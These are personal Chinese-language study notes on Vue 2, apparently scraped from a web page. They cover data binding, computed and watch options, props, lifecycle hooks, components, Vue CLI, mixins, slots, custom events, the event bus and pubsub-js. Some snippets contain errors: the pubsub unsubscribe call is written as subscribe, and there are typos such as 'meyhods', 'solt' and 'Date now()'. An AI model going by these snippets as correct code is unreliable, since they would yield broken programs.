作为事件。
vue<div id="app"> <!-- form表单的action属性:指定表单提交的地址,实际交互用ajax,不使用该属性 --> <form @submit.prevent="demo"> <!-- label获取焦点,当点击文字时,自动定位到输入框 --> <h5> <label for="id"> 账号:</label><input type="text" id="id" v-model="id"></h5> <h5>密码: <input type="password" v-model="password"></h5> <h5>性别: 男<input type="radio" value="男" name="sex" v-model="sex"> 女<input type="radio" value="女" name="sex" v-model="sex"> </h5> <h5>爱好: 学习<input type="checkbox" name="hobby" value="学习" v-model="hobby"> 打游戏<input type="checkbox" name="hobby" value="打游戏" v-model="hobby"> 吃饭 <input type="checkbox" name="hobby" value="吃饭" v-model="hobby"></h5> <h5>所属校区 <select name="xiaoqu" id="xiaoqu" v-model="xiaoqu"> <option value="">请选择校区</option> <option value="北京">北京</option> <option value="天津" >天津</option> <option value="上海" >上海</option> </select> </h5> <h5> 其他信息: <textarea name="onetextarea" id="onetextarea" cols="30" rows="10" v-model="textarea"></textarea> </h5> <h5> <input type="checkbox" value="yes" name="yes" v-model="yes"> 阅读并接受 <a href="#">《用户协议》</a> </h5> <button>提交</button> </form> </div> <script> Vue.config.productionTip = false; new Vue({ el: "#app", data: { id: "", password: "", sex: "", hobby: [], xiaoqu: "", textarea: "", yes: "", }, methods: { demo() { console.log(JSON.stringify(this._data)); }, }, }); </script>
Vue 配置项
el 与 data
el 的两种写法
- 在创建 vue 实例时进行
el
绑定 - 先创建 vue 实例,再通过
vm.$mount('#one')
指定 el 的值
- 在创建 vue 实例时进行
data 的两种写法
对象式
函数式
- 当使用组件时,必须使用函数式的 data 否则容易报错
- 由 vue 管理函数时,一定不要使用箭头函数,因为箭头函数的
this
指向windows
而不是vue实例对象
const shili = new Vue({
el: ".one", //el绑定 第一种方法
data: {
name: "吴老板", //data 对象形式式
},
});
shili.$mount(".one"); //el绑定 第二种方法
<script>
new Vue({
el: ".two",
data() {
//data 函数式
console.log(this); //此处的this是vue实例
return {
name: "吴老板",
};
},
});
</script>
template 模板
- 作用:将页面结构写在 Vue 配置项中
- 注意:
- 使用普通引号时不能换行,否则报错
- 使用 ES6 的模板字符串反向单引号时,支持换行
template
中必须写一个根标签,否则报错- 会完全替换掉页面中的容器,原有的容器标签不再显示
计算属性computed
- 定义:要使用的属性不存在,通过已有属性计算得到新的数据
- 原理:底层借助 Object.defineproperty 方法提供的 getter 和 setter
- get 函数执行的时机:
- 初次读取数据时执行一次
- 当依赖的数据发生变化时会被再次调用执行
get
必须用return
返回值
- 优势:与 methods 相比,内部增加了缓存机制,提升性能
- 计算属性也会出现在 vm 实例对象上,可以直接读取;
- 如果计算属性可以被修改,必须用set 函数进行响应修改,且 set 中要引起依赖的数据发生变化
<div class="one">
姓<input type="text" v-model:value="xing">
名<input type="text" v-model:value="ming">
<br>组合:<span>{{fullname}}</span>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: ".one",
data: {
xing: "吴",
ming: "爸爸",
},
computed: {
fullname: {
get() {
//此处的this是vm
return this.xing + "-" + this.ming;
},
set(value) {
//这里的value表示,当fullname发生更改后的值;this指向vm
this.xing = value;
},
},
},
});
</script>
计算属性简写
- 前提:不更改计算属性(不使用 set 方法)时才可以简写
- 简写时,直接写成函数形式,函数体即表示 get 的内容
<div class="one">
姓<input type="text" v-model:value="xing">
名<input type="text" v-model:value="ming">
<br>组合:<span>{{fullname}}</span>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: ".one",
data: {
xing: "吴",
ming: "爸爸",
},
computed: {
fullname() {
return this.xing + "-" + this.ming;
},
},
});
</script>
注意点
基于响应式依赖进行缓存,只有计算属性的相关响应式数据依赖发生变化后才会重新计算
- 如果不希望使用缓存,需要使用其他方法
使用 Date now(),初次渲染后不会再刷新,不是响应式数据
jscomputed: { new() { return Date now(); //初次渲染后不会再刷新,不是响应式数据 } }
侦听(监视)watch
handler(newvalue,oldvalue)
属性里有两个参数,第一个表示更改后戏新的数据,第二个表示旧的数据当被侦听的数据发生变化时,就自动调用 handler 函数,进行相关操作
既可以侦听
data
中的数据,也可以侦听计算属性computed
中的数据immediate
属性:若值为true则
初始化时就让handler
执行一次,默认为false
两种侦听的写法:
js//进行侦听的第一种方法:在vm实例对象中直接配置 watch: { sky: { //既可以侦听`data`中的数据,也可以侦听计算属性`computed`中的数据 handler(newvalue, oldvalue) { console.log('sky的值被修改了' + newvalue + oldvalue); } } } //进行侦听的第二种方法:在vm外进行监听绑定 vm.$watch('侦听的属性名',{侦听参数})
监视对象属性的变化需要加引号 ""
js// 监视对象属性的变化需要加引号 // 键值对的 键 为字符串! 不过一般不加引号,当存在多级关系时,需要手动加引号 'person.age':function(){ ..... }
深度侦听(监视)
- Vue 中的
watch
默认不检测对象内部值的改变(一层) - 方法一:配置
deep:true
可以检测对象内部值改变(多层)
watch: {
number: {
deep: true,
handler() {
console.log('number变化了')
}
}
}
- 方法二:手动指定内部检测对象,注意
watch
中的多级结构内容需要加引号,否则报错
<div class="one">
<h2>a的值是:{{number.a}}</h2>
<button @click="number.a++">点击增加a的值</button>
</div>
<script>
Vue.config.productionTip = false;
new Vue({
el: ".one",
data: {
number: {
a: 1,
b: 1,
c: 1,
},
},
watch: {
"number.a": {
handler() {
console.log("a变化了");
},
},
},
});
</script>
侦听属性简写
- 当配置项中只用
handler
配置时,才可以简写
//内部监视的简写
watch:{
//xxx表示要监视的值
xxx(newvalue,oldvalue){
console.log('xxx被修改了');
}
}
//外部监视简写
vm.$watch('xxx',function(newvalue,oldvalue){
console.log('xxx被修改了');
})
计算属性与侦听属性区别
computed
能完成的功能watch
都可以完成watch
可以进行异步操作,但computed
不行当需要再数据发生变化时,执行异步或开销较大的操作时,设置中间状态,侦听属性比计算属性更合适。
例:当用户输入问题,向后台请求数据过程中使用,设置请求,临时返回中间状态。
注:
- 所有 Vue 管理的函数,最好写成普通函数,这样
this
指向才是 vm 或组件实例对象 - 所有不被 Vue 管理的函数(定时器、ajax、promise 的回调函数),最好写箭头函数,这样
this
指向才是 vm 或组件实例对象
- 所有 Vue 管理的函数,最好写成普通函数,这样
props 单向数据流(父-子)
功能:让组件接受外部传递过来的数据
传递数据
<Dome :name="xxx" />
父组件中在子组件标签上写属性(数据名)与值(数据)
接受数据:
方式 1 (只接收):
props:['name']
方式 2 (限制类型):
props:{ name:Number }
方式 3 (限制类型、必要性、指定默认值):
jsprops:{ name:{ type:String, //类型 required:true, //必要性 default:'老王' //默认值 }, }
使用数据
- props 传输的数据直接放在组件实例对象 vc 上,
- 在
<script>
中使用,this.xxx
- 或者直接在模板
<template>
中使用 插值语法
备注:
- props 是只读的,修改 props 会导致报错,也不要使用 v-model 进行绑定
- 如需修改,可重新定义一个值保存修改后的内容,不要直接修改
- 接受声明时,如果出现未传输的值时,显示
undefined
- props 传过来的若是对象或数组类型的值,修改其中的数据时 Vue 不会报错,但不推荐。
ref 属性
用来给元素或子组件注册引用信息,id 的替代者
应用在 html 标签上获取的是真实 DOM 元素,应用在组件标签上是组件实例对象 (vc)
使用方法:
- 打标识:
<h1 ref="xxx">...</h1>
或<School ref="xxx" />
- 获取对应节点或子组件实例:
this.$refs.xxx
- 打标识:
注意:
- $ref 属性只在组件渲染后生效,不是“响应式”的,要避免在模板或者计算属性中使用
- vue
<template> <div> <h1 ref="h1">{{ name }}</h1> <Two ref="two"></Two> <button @click="showDom">click me</button> </div> </template> <script> import Two from "./Two"; export default { data() { return { name: "Antflow" }; }, methods: { showDom() { console.log(this.$refs); console.log(this.$refs.h1); console.log(this.$refs.two); }, }, components: { Two }, }; </script> <style></style>
style 样式
- 组件中的
<style>
标签中可以使用lang
属性<style lang='css'>
- lang 可以提供其他多种书写格式,默认是 css
- less、...(可能报错,提示需要安装对应的模块)
- scoped 属性
- 存在的问题:根据引入的顺序,不同组件中的
<style>
样式最终会合在一起,可能出现冲突 - 作用:让样式在局部生效,防止冲突
- 使用方法:
- 在组件的
<style>
标签中加入scoped
属性<style scoped>
- 此时就不会导致重复,原理:增加了随机生成的属性,达到定向选择的目的
- 在组件的
- 特点:
- App 标签不太合适使用该属性,使用后子组件无法使用该组件内部的
<style>
样式
- App 标签不太合适使用该属性,使用后子组件无法使用该组件内部的
- 存在的问题:根据引入的顺序,不同组件中的
过滤器(Vue2)
- 定义全局过滤器必须写在 new Vue 之前,即:先定义后使用
- 这里引用了 js 库:
day.js
;可以参考笔记-其他概念--引用 js 库 - Vue3 中不再支持 该内容:推荐使用计算属性 或 methods 方法
进阶篇
生命周期
- 别名:生命周期函数、生命周期回调函数、生命周期钩子
- 生命周期函数中的
this
指向 VM 或 组件实例对象 - 在生命周期的几个关键节点,借助 Vue 调用一些特殊名称的函数
生命周期函数
vue2 :11 个 vue3:10
beforeCreate
将要创建:此时没有进行数据代理,无法通过 vm 访问 data 中的数据created
创建完毕:数据代理完成,可以通过 vm 访问 data 中的数据 和 methods 中的方法- 发送 ajax 初始请求的最佳时机,可以获取到 data 配置中的数据、
$on监听自定义事件
- 注意:此阶段不建议书写复杂的逻辑操作代码,因为如果在该阶段停留的时间越久,页面的渲染也会相应延迟,导致页面的白屏时间变长
- 发送 ajax 初始请求的最佳时机,可以获取到 data 配置中的数据、
beforeMount
将要挂载:刚生成虚拟 DOM,此时页面显示未经编译的 DOM结构,对 DOM 操作不奏效mounted
挂载完毕:Vue 完成模板解析并初次把真实 DOM 放入页面后 (挂载完成) 调用一次- 发送 ajax 请求,启动定时器、绑定自定义事件、订阅消息、执行 DOM 操作 等【初始化操作】
- 此阶段由于页面已经首次渲染成功,所以即便在该阶段停留的时间较长,对页面显示也不会具有太大的影响
- 注意:mounted 不保证所有的子组件也都挂载完毕,如果希望整个视图都渲染完成可以使用 vw.$nextTick();
beforeDestroy
销毁之前:所有的东西都可用- 调用
vm.$destroy()
方法后销毁一个实例,清理它与其它实例的连接,解绑他的全部指令和 $off 解绑自定义事件监听器 - 再触发
beforeDestroy
和destroyed
的钩子 - 清除定时器、解绑自定义事件、取消订阅消息等【收尾工作】
- 由 Vue 绑定的事件,都不需要手动解绑,会自动解绑
- 给页面上的标签使用 onclick 或者 addEventListener 进行事件绑定,需要手动解绑,因为该类型事件使用的是原生 DOM 的事件绑定语法,没有经过 Vue 的解析
- 使用@符或者$on 给当前组件绑定的自定义事件
- 该类型事件不需要手动解绑,因为当前组件绑定的自定义事件,Vue 也会进行收集,在组件卸载之前会自动解绑
- 使用$on 给全局事件总线对象绑定的自定义事件
- 该类型事件需要手动解绑,由于 bus 中存储的全局事件总线对象只有在项目关闭的时候才会销毁,所以导致 bus 身上会遗留很多其他组件给他绑定的自定义事件,必须在离开当前组件的时候解绑与之相关的自定义事件
- 调用
destroyed
:销毁完毕beforeUpdate
将要更新:当数据发生改变时调用;此时数据是新的,页面是旧的,还未生成新的虚拟 DOMupdated
更新完毕:数据改变,且新的虚拟 DOM 放入页面后调用,页面和数据保持同步。
生命周期细节
created 钩子函数中操作 DOM,可将语句放在
this.$nextTick
中- this.$nextTick 是在真实 DOM 渲染之后执行
- 同步任务执行完,再执行微任务的意思
父子组件生命周期的执行顺序
子 mounted 在父之前,destroyed 在父之后
父 beforecreate created beforeMount 子 beforecreate created beforeMount mounted 父 mounted beforeDestroy 子 beforeDestroy destroyed 父 destroyed
销毁 vue 实例
- 销毁后借助 vue 开发者工具看不到任何信息
- 销毁后自定义事件会失效,但原生 DOM 事件依旧有效
- 一般不会在
beforeDestroy
中操作数据,即便操作也不会再触发更新流程
new Vue({
el: '#one',
beforeCreate() {console.log('开始创建vue实例了');},
created() {console.log('创建完成,但还未解析解析模板');},
beforeMount() {console.log('已将解析模板并产生新的虚拟DOM,但未放入页面呢!')},
mounted() {console.log('刚刚把虚拟DOM放入页面!')},
beforeUpdate() {...},
updated() {...},
beforeDestroy() {...},
destroyed() {...},
})
组件化编程
模块:
- 向外提供特定功能的 js 程序,一般就是一个 js 文件
- 实现:复用 js、简化 js 的编写,提高 js 运行效率
组件:
- 实现应用中局部功能代码和资源的集合(html/css/js/image...)
- 组件化:应用中的功能都是多组件的方式编写,就是组件化应用
组件化编程流程
- 拆分静态组件:组件按功能点进行拆分,命名不能与 html 元素冲突(template)。
- 实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件再用。
- 一个组件在用,放在自身
- 一些组件在应用,放在它们共同共同的父组件(状态提升)
- 展示动态数据:
- 数据的类型、名称。。。
- 数据保存在那个组件?
- 交互:从绑定事件开始
非单文件组件
定义组件 (创建组件)
简写:
const school =Vue.extend(options)
可简写为const school=options
使用
Vue.extend(options)
创建,其中options
和new Vue(options)
时传入的option
几乎一致区别:组件不能指定
el
,所有的组件都将由一个 vm 管理,由 vm 的 el 决定服务于哪个容器data 必须写为函数形式,可以避免组件复用时,数据存在引用关系
注册组件
- 局部注册:靠
new Vue()
时传入components
配置项 - 全局注册:靠
Vue.component('组件名',组件的配置对象)
- 局部注册:靠
使用组件 (写组件标签)
- 只有写了相应的组件标签后,Vue 底层才会创建对应的 vc
注意:必须先定义组件再注册组件,代码顺序错误会导致报错!
<!--准备好容器:使用组件,写注册组件时的组件名标签即可 -->
<div class="one">
<student></student>
<hr>
<school></school>
</div>
<script>
//定义组件时不要写el配置项
const school = Vue.extend({
template: `<div>
<h1>学校名称:{{name}}</h1>
</div>`,
data() {
return {
name: "新乡工程学院",
};
},
});
// 简写 Vue.extend
const student = {
template: `<div>
<h1>姓名:{{name}}</h1>
<h1>年龄:{{age}}</h1>
</div>`,
data() {
return {
name: "吴老板",
age: 21,
};
},
};
//一个vm管理所有的组件
new Vue({
el: ".one",
//局部注册组件
components: {
//完整写法
school: school,
//简写:组件名与注册的名称一致时
student,
},
});
</script>
组件命名
一个单词组成时:首字母不区分大小写,
多个单词组成
- 写法 1(kebab-case 命名):多个单词使用引号包含,中间用
-
分割,并且使用小写的单词 例:'my-school'
- 写法 2(CamelCase 命名):在脚手架环境下,使用大写首字母的方式编写 例:
MySchool
- 写法 1(kebab-case 命名):多个单词使用引号包含,中间用
注意:
- 组件的命名不能是 HTML 中已有的元素名称。例如
h2
或H2
都不行 - 定义组件时,可以使用 name 配置项指定组件在开发者工具中显示的名字(不影响使用时的标签名)
jsconst s = vue.extend({ name:'zujian1', template:`...`, data(){ ... } })
- 组件的命名不能是 HTML 中已有的元素名称。例如
组件标签使用
- 写法 1:
<school></school>
- 写法 2:
<school/>
- 备注:不使用脚手架时,写法二会导致后续组件不能渲染
- 写法 1:
组件的嵌套
- 在子组件中可以使用
components
再注册其他子组件, - 子组件的组件标签必须写在注册的组件标签中
- 注意:组件的注册顺序不能颠倒,必须先有子组件,再将子组件注册到父组件上
- 标准化组件开发中:使用 app 组件管理所有组件,vm 之下,所有组件之上
- 在子组件中可以使用
vm 与 vc 理解
vm:Vue 实例对象 vc:组件实例对象
组件本质是一个名为 Component 的构造函数,由创建组件时生成
组件是可复用的 vue 实例,除
el
配置外,其余基本都有。关于 this 的指向:
- 组件配置中:this 指向【VueComponent 实例对象】
new Vue()
配置中:this 指向【Vue 实例对象】
重要的内置关系
VueComponent.prototype.__proto__ === Vue.prototype
- 作用:让 组件的实例对象 可以访问到 Vue 原型 上的属性、方法
单文件组件
- 创建
.vue
文件快捷键:<v
+ 回车 - 文件名首字母大写
- 组件首字母大写(文件夹、组件名、引入、注册、标签使用)
创建组件:
- 三个标签:
<template></template> <script></script> <style></style>
- 分别用来写:html 标签、js 代码、css 样式
- 注意点:
<script>
中推荐使用默认暴露将内容暴露出去export default
- 其中的 data 配置项只能使用函数,name 配置项可以设置组件的名称
引入组件
import 组件名 from 组件路径
- 例:
import App from './App.vue'
./
表示当前文件夹下
<template>
<div><!-- 组件的结构,必须使用一个根标签 --></div>
</template>
<script>
//引入其他子组件 最后不需要加 .vue后缀
import Student from "./Student";
// 组件交互相关的代码(数据、方法等等)
export default {
name: "School", //定义组件名
data() {
return {
name: "吴老板", //数据
};
},
};
</script>
<style>
/* 组件的样式 与css书写一致 */
</style>
Vue 脚手架 CLI
- Vue 脚手架是 Vue 官方提供的标准化开发工具(开发平台)
- 前提:使用前必须有node 和 npm 相关知识基础(更改 npm 镜像下载源,否则下载缓慢)
使用说明:
- 第一次使用时:全局安装脚手架包
@vue/cli
npm install -g @vue/cli
- 切换到要创建项目的目录,然后使用命令创建项目
vue create xxxx
xxxx 为项目名vue create .
.表示要在当前文件下直接创建项目- 此时会出现选择:vue 的版本 (bable 语法转换、eslint 语法检查)
- 在项目文件下 启动项目
npm run serve
vue ui
以图形化界面形式打开项目
- 关闭项目的本地调试
ctrl + c
确认 yes- 修改配置文件后,必须关闭并重启服务,否则可能无效
脚手架结构分析
项目文件夹
babel.config.js //负责语法转换,如想配置参考官网,默认不需要修改
package.json //应用包配置文件,包名、版本号、依赖、短命令
serve
:由 vue 创建一个服务器,运行项目npm run serve
build
:把整个工程打包时,全部转化为浏览器可识别文件(html、css、js)npm run build
lint
:语法检查,一般情况下不开启,可以在所有工作完成后检查开启一次npm run lint
package.lock.json //包版本控制文件,记录依赖包的版本和下载地址
README.md //应用说明文档
.gitignotre //git 配置 忽略文件
src 文件夹
- main.js //入口文件,引入 vue 和 App 组件 并把 App 组件放入容器中
- App.vue //一人之下万人之上的组件
- assets 文件夹 //存放页面的静态资源,图片/视频/音频
- components 文件夹 //存放各种组件
public 文件夹
- 网站的页签图标 .ico 图标
- index.html //页面
- 在
index.html
文件中不需要引入main.js
,由脚手架自动处理
- 在
html<!-- <%= BASE_URL %> index.html中就表示 public文件夹 --> <link rel="icon" href="<%= BASE_URL %>favicon.ico" />
vue 的引入版本
vue 完整版本身包含 模板解析器 和 vue 核心
vue.runtime.xxx.js 是运行版的 vue,只包含核心功能
因为 vue.runtime.xxx.js 没有模板解析器,所以无法使用 template 配置项,需要使用 render 函数
脚手架版本的 vue 默认是简洁版的 vue,不包含模板解析器,由脚手架编译解析
vue 版本配置的位置:node--vue--types--package.json
vue 文件位置:node--vue--dist----
render 配置项
render(){}
是一个函数,需要有 return 返回值,接收参数 1:创建元素,参数 2:元素内的内容
简写:使用箭头函数、简写去 return、只传一个组件
webpack 相关配置
- Vue 脚手架默认隐藏了所有 webpack 相关的配置,
- 查看方法:
vue inspect > output.js
(仅仅是输出看一下,修改无效)
更改方法:
参考脚手架官网,配置文件
与 src 文件平级,创建 vue.config.js,根据官方文档修改文件
其中的各单配置项,要么不写,要么写完整,否则报错
lintOnSave:false;
//关闭语法检查,与 pages 平级- js
module.exports = { lintOnSave: false, //关闭语法检查 };
mixin 混入
功能:可以把多个组件共用配置提取出来,提高复用率
使用方式:
第一步:定义混入,在 main.js 同级目录下创建 js 文件
- 将多个组件的共同部分放在创建的 js 文件夹中,并进行暴露,推荐:分别暴露,方便自定义引入
- 所有的组件配置项都可以往 js 文件中写
- js
//定义mixin混入模块 采用分别暴露 // 暴露abc export const abc = { data() { return { name: "吴老板" }; }, methods: { show() { console.log("我是mixin"); }, }, }; // 暴露xyz export const xyz = { mounted() { console.log("我是mounted,挂在完毕"); }, };
第二步:使用混入
引入混入模块(分别暴露的引入方式)
import {xxx,xxx,xxx} from '混入的文件路径'
局部混入:在对应的组件中,使用
mixins:[xxx,xxx,xxx]
注册一下即可使用- vue
<template> <div> <!-- 使用混入提供的 methods方法 和 data数据 --> <p @click="show">{{ name }}</p> </div> </template> <script> // 引入 局部混入 abc为分别暴漏的混入名 import { abc } from "./hunru"; export default { //注册混入 mixins: [abc], }; </script>
全局混入:在
main.js
入口文件中引入,使用Vue.mixin(xxx) Vue.mixin(yyy)
分别注册使用- js
import Vue from "vue"; import App from "./App.vue"; // 引入mixin混入 import { abc, xyz } from "./hunru"; // 注册全局混入 abc 和 xyz Vue.mixin(abc); Vue.mixin(xyz); // 取消默认的Vue开发版本提示 Vue.config.productionTip = false; new Vue({ render: (h) => h(App), }).$mount("#app");
注意:
- 数据如果发生冲突时,以组件自身的内容为准,生命周期钩子除外
- 生命周期函数重复时,先调用混入的,再调用组件自身的,两者都生效
Vue 插槽
作用:让父组件可以向子组件指定位置插入不同的 html 结构,也是一种组件间通信方式,适用于父组件 ==》子组件
时机:在父组件中解析完毕后再插入到子组件的
slot标签
中- 在父组件使用子组件时,在子组件标签中追加内容放入到插槽中。
- 插槽结构在父组件中解析后,再放入子组件,可以在父/子组件中控制样式
默认插槽
- 直接写在子组件的标签体内部(标签体内容)
- 子组件中使用
<solt></solt>
占位- slot 占位符中的内容为默认值
- 只有当父组件的标签体内容为空时,界面才显示 slot 占位符中的内容
html<!-- 父组件App中使用子组件Two --> <template> <div> <Tow> <div>写在子组件标签里的内容会放入插槽中</div> </Tow> </div> </template> <!-- 子组件Two --> <template> <div> <p>我是公共标题</p> <!-- 定义插槽/挖坑 --> <slot> <h2>当没有放入内容时,我才显示</h2> <h3>当没有放入内容时,我才显示</h3> </slot> </div> </template>
具名插槽(给插槽起名字)
- 为子组件的
solt
标签配置 name 属性 - 子组件标签体内容对应标签配置 slot 属性,值与 name 的值对应
- 注意:
- 标签体内容中可以多次使用同一个 slot 属性,会在对应插槽中追加内容
- 可以使用
</template>
标签,节省一层不必要的 DOM 结构- 如果使用这个标签,还可以使用
v-slot:two
,而不用slot="two"
- Vue3 中推荐使用
v-slot:two
- 如果使用这个标签,还可以使用
html<!-- 父组件中,使用slot标签,确定使用的插槽 --> <template> <div> <Tow> <!-- 在一个子标签中,使用多个插槽 --> <template slot="one"> <h1>根据slot属性去找第一个插槽</h1> </template> <template v-slot:two> <h1>根据slot属性去找第二个插槽</h1> </template> </Tow> </div> </template> <!-- 子组件中,为slot标签定义name属性 --> <template> <div> <p>我是公共标题</p> <!-- 定义插槽/挖坑 --> <slot name="one">我是第一个插槽坑</slot> <slot name="two">我是第二个插槽坑</slot> </div> </template>
- 为子组件的
作用域插槽
- 理解:数据在子组件身上,但根据数据生成的结构需要父组件(组件使用者)决定。
- 实现:相同的数据显示不同的结构
- 父组件中必须使用 template 标签,使用 scope 属性接收数据
- 接受的数据是:由所有传递过来的数据组成的对象
- 可以使用 ES6 的解构赋值语法
html<!-- 父组件 --> <template> <div> <Tow> <!-- 收到的数据是对象的格式,可以直接使用games.color获取 --> <template scope="games"> <ol> <li v-for="(g, index) in games.game" :key="index">{{ g }}</li> </ol> </template> </Tow> <Tow> <template scope="games"> <ul> <li v-for="(g, index) in games.game" :key="index">{{ g }}</li> </ul> </template> </Tow> </div> </template> <!-- 子组件 --> <template> <div> <p>我是公共标题</p> <!-- 定义插槽/挖坑 并把该组件中的数据传递到插槽中,可以传递多个数据 --> <slot :game="games" :color="color">我是第一个插槽坑</slot> </div> </template> <script> export default { name: "Two", data() { return { // 数据在子组件中 games: ["王者", "cf", "csgo"], color: ["red", "yellow", "pink"], }; }, }; </script>
组件间通信(总结)
父组件 => 子组件
- props 配置 单向数据流
- this.$parent 访问父组件
- Vue 插槽 向子组件中插入的结构,可以使用父组件中的数据
子组件 => 父组件
借助自定义事件 父组件中为子组件绑定事件,子组件中$emit()触发事件并传递数据
slot 插槽占位,
html<!-- 父组件,接受子组件的值 --> <son-com> <!-- 必须用template标签包裹,val为自定义的属性值,接收到的是一个对象 --> <template v-slot="{ index }"> <div>{{val.msg}}</div> <!--msg为子组件的自定义属性 --> </template> </son-com> <!-- 子组件,通过slot绑定值 --> <div> <!-- 自定义属性进行传值 --> <slot :msg="message"></slot> <div id="son">{{message2}}</div> </div>
this.$children 访问子组件
任意组件间通信
- $bus
- 访问根实例 vm($root 属性),在任意组件中都可以访问到 vm 上的内容
- 其他采用订阅与发布模式的 第三方插件库
- VueX
- pubsub.js
组件的自定义事件(子-父)
- 一种组件间通信的方式,适用于:子组件 ==> 父组件
- js 原有的事件(内置事件)
- click、keyup...
- 使用对象:给 html 元素使用
- 组件自定义事件
- 使用对象:组件
- 适用于:子组件向父组件传值
- 使用场景:A 是父组件,B 是子组件,B 想给 A 传数据,那么就要在 A 中给 B 绑定自定义事件(事件回调在 A 中)
this.$emit("事件名",数据)
触发事件,- 这里的 this 指代 vc 实例对象,在子组件中触发父组件的事件
- 参数直接写事件名即可,需要加引号
- 传递其他参数,在事件名后用用逗号隔开,接着写即可,例:
this.$emit("shijian1",this.name)
- 当需要传递多个参数时,继续在后面用逗号分隔,追加参数即可
- 未知个数的参数的接收,使用ES6 语法,在接收参数时,使用(one,...a)
- 这里的 a 就是一个数组,内容是参数的每一项
- a 的命名,一般用
params
this.$refs.组件名.$on()
:将事件绑定给指定的子组件- 在父组件中,为子组件标签进行 ref 绑定
- 参数 1:为子组件绑定的事件名,需要加引号
- 参数 2:执行父组件中 methods 的回调函数名,**需要加
this.
**表示当前父组件的事件- 回调函数应写在 methods 中
- 若直接写在$on 中,回调函数应使用箭头函数,this 指向问题
- 例:
this.$refs.组件名.$on("shijian1",this.demo)
- 优点:
- 可以实现事件的延时绑定,具有更好的灵活性
this.$refs.组件名.$once()
:将事件绑定给指定的子组件,且事件只能触发一次- 与$on() 作用和使用方法一致,但回调函数只能执行一次
- 或者在标签中添加事件修饰符
.once
this.$off()
:this.$off("事件名")
:解绑一个自定义事件this.$off(["事件1","事件2",...])
:解绑多个自定义事件this.$off()
:不传参数时,解绑所有自定义事件
- 注意:
- 组件标签中的事件默认都为自定义事件
- 可以使用事件修饰符
.native
,表示绑定原生 DOM 事件
使用方法:
- 方法一:在父组件中给子组件标签绑定事件
<Dome @shijian1="test">
或<Dome v-on:shijian1="test"/>
<!-- 在父组件中,为子组件标签绑定事件,事件回调demo写在父组件的methods配置中 -->
<Student v-on:shijian1="demo"></Student>
<script>
export default {
name:"App",
meyhods:{
//当接收的参数数量过多或数量未知时,可以使用对象进行传递
//或者可以使用ES6语法接收,...params是剩余参数组成的数组
demo(data,...params){
console.log("子组件传递过来的数据:"+data);
console.log(params);
}
}
}
</script>
<!-- 在子组件中触发 shijian1 事件 -->
<button @click="zibtn"></Student>
<script>
export default {
data(){
return{
name:"123"
}
},
methods:{
zibtn(){
//当传递多个参数时,用逗号隔开即可
this.$emit("shijian1",this.name,44,33,22,11)
}
}
}
</script>
- 方法二:在父组件中,使用
$ref.xxx.$on("shijian1",回调函数)
<!-- 在父组件中,使用$ref.xxx.$on("shijian1",回调函数) 为子组件标签绑定事件 -->
<Student ref="student"></Student>
<script>
export default {
data(){
return{
name:"123"
}
},
methods:{
demo(data){
console.log("子组件传递的值:"+data)
}
},
//mounted(){} 生命周期回调函数,当页面加载完成后执行
//$on 将事件绑定给它,参数1:事件名,参数2:事件回调
mounted(){
this.$refs.student.$on("shijian1",this.demo)
}
}
</script>
<!-- 在子组件中触发 shijian1 事件 -->
<button @click="zibtn"></Student>
<script>
export default {
methods:{
zibtn(){
this.$emit("shijian1",this.name)
}
}
}
</script>
全局事件总线 $bus
安装全局事件总线:
js// 在main.js入口文件中 // 当创建vue实例即vm时,就为他绑定一个自定义的值,可以借助它实现数据传递,并能访问到所有的方法 new Vue({ el: "#app", render: (h) => h(App), // 利用生命函数钩子,在vue开始创建时就绑定,否则后续渲染使用数据就会出现问题 beforeCreate() { // 安装全局事件总线,$bus就是当前应用的vm Vue.prototype.$bus = this; }, });
使用事件总线
- 接收数据:A 组件想接收数据,就在 A 组件中给
$bus
绑定自定义事件,事件的回调留在 A 组件自身
jsmethods(){ // 事件回调写在methods中,或者直接写在事件绑定的回调中 // 当事件回调写在绑定时,需要使用箭头函数(否则this指向vm),注意this指向问题 demo(data){.....} } .... mounted(){ // mounted 生命函数钩子,当页面挂在完毕,给他绑定自定义事件 // xxx 是自定义事件名,this.demo事件回调(建议写在methods中,this指向当前vc) this.$bus.$on("xxx",this.demo); }
- 提供数据:
this.$bus.$emit("xxx",数据)
- this 指向当前组件实例对象
- $bus 为组件实例对象原型链上的方法
- $emit 为触发自定义事件的函数,xxx 为事件名,数据即触发事件时携带的参数
- 接收数据:A 组件想接收数据,就在 A 组件中给
解绑事件
- 因为事件绑定在 vm 身上,难以被销毁,所以需要当创建它的组件实例销毁时进行销毁
- 最好在
beforeDestroy
钩子中,用$off
解绑当前组件所用到的事件, - 例:
this.$bus.$off("xxx")
,不写参数代表解除所有的事件,其他组件事件也会失效!
消息订阅与发布
- 原生 js 不支持消息的订阅与发布,需要使用第三方库
pubsub.js 库
- 实现任意框架下的消息订阅与发布,任意组件间通讯
- 安装:
npm i pubsub-js
- 引入:
import pubsub from "pubsub-js"
- pubsub 是一个函数,提供了一些方法
- 发布消息和接收消息的组件中都需要引入这个(注意带引号)
- 使用:
- 订阅消息:写在接收消息的组件的 mounted 生命周期钩子中
this.pubId=pubsub.subscribe("hello",function(msgName,data){ .... })
- 当有人发布 hello 消息时,就执行相应的回调函数( hello 是自定义事件名)
- this.pubId 保存这个订阅消息的 id,用于取消订阅。pubId 命名自定义
- 函数的参数有两个
- 参数 1:消息名
- 参数 2:数据内容
- 发布消息:写在发布消息的组件上
pubsub.publish("hello",数据)
- 当写上这句代码时,就触发 hello 事件的回调函数,可以携带参数
- 取消订阅:写在注册接收消息的组件中 beforeDestroy 生命周期钩子中
pubsub.subscribe(消息的id)
- 消息的 id,根据订阅时保存的设置,此处应为
this.pubId
- 订阅消息:写在接收消息的组件的 mounted 生命周期钩子中
- 注意:
- 普通函数时,pubsub 的回调函数的 this 指向 undefined
- 使用箭头函数则指向 vc,或者将回调写在 methods 配置中( 和事件总线类似 )
过渡与动画的封装
作用:在插入、更新和移除 DOM 元素时,在合适的时候给元素添加合适的类名
需要使用动画或过渡的标签使用
<transition></transition>
标签包裹,该标签不显示在页面上标签
- transiton 标签不配置 name 属性时,默认
.v-
开头 - transiton 标签配置 name 属性时,样式标识使用
.name值-
开头 appear
属性,当存在该属性时会在页面刚加载时显示一次动画- 一个 transiton 标签,内部多个元素运用同个动画时,需要使用
transition-group
,且每个元素都要指定 key 值
